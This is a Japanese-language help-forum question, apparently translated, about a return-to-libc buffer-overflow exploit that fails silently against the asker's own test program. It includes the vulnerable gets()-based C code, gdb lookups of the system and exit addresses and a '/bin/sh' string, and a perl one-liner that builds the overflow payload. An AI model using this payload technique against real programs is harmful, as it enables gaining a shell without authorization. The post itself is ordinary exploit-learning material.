return-to-libc エクスプロイトに問題があります。問題は、何も起こらないことですが、セグメンテーション違反はありません (そして、実際にスタックがオーバーフローしています)。
これは私のプログラムです:
int main(int argc, char **argv) {
char array[512];
gets(array);
}
私のアドレスは0x00で始まり、strcpyはそれが文字列の終わりであると考えているため、strcopyの代わりにgetsを使用しているため、使用できません。
必要なアドレスは次のとおりです。
$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb) x/s 0xbffffe3f
0xbffffe3f: "/bin/sh"
正しいシーケンスを入力すると、次のことが起こります。
eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$
だから何もない。
しかし、520 'A' (0x41) を入力すると、EIP が 'A' でオーバーフローします。516 'A' がある場合、何も起こりませんが、EIP には、/bin/sh ポインターに続く終了アドレスに続くシステム アドレスが含まれます。
なぜ何も起こらなかったのですか?